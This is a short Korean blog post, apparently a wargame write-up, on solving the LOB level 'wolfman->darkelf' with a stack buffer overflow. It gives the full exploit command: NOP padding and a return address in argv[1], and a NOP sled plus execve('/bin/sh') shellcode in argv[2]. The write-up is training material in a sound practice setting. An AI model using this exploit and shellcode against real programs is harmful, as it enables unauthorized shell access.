본문 바로가기

wargame/S_LOB

wolfman->darkelf

개강을 기념하는 마음으로 오랫만에 풀어봤당..


먼저 문제를 보면..

달라진 부분은 argv[1]의 길이를 체크한다.


사실 큰 문제는 없다. argv[2]를 사용하면 되니까!


똑같이 풀어볼거다


gdb로 disas main을 보면.. 엄청 길다.

버퍼의 사이즈는 2c(44byte), ret 4byte다..


break point 부분은 strcpy 한 다음부분에 걸고..


argv[1]에는 nop 44byte와 ret로 뛸 주소를 넣고.. argv[2]에 넣어야겠다.


argv[2]에는 nop 1000개랑 쉘코드를 박을거다


shellcode는..


./darkelf `python -c 'print "\x90"*44+"\x44\xfb\xff\xbf"'` `python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



이렇게....



끝~~

(기존 문서에는 xshell 에서 아이언맨을 감명깊게 보고 쟈비스컨셉으로 주황색을 썼더니... 오타쿠같다는 얘기를 듣고 해커의 기본인 검바녹글로 바꿨당)


kernel crashed

'wargame > S_LOB' 카테고리의 다른 글

darkelf->orge  (0) 2016.08.31
orc->wolfman  (0) 2016.06.24
goblin->orc  (0) 2016.06.23
cobolt -> goblin  (0) 2016.06.14
gremlin->cobolt  (0) 2016.06.12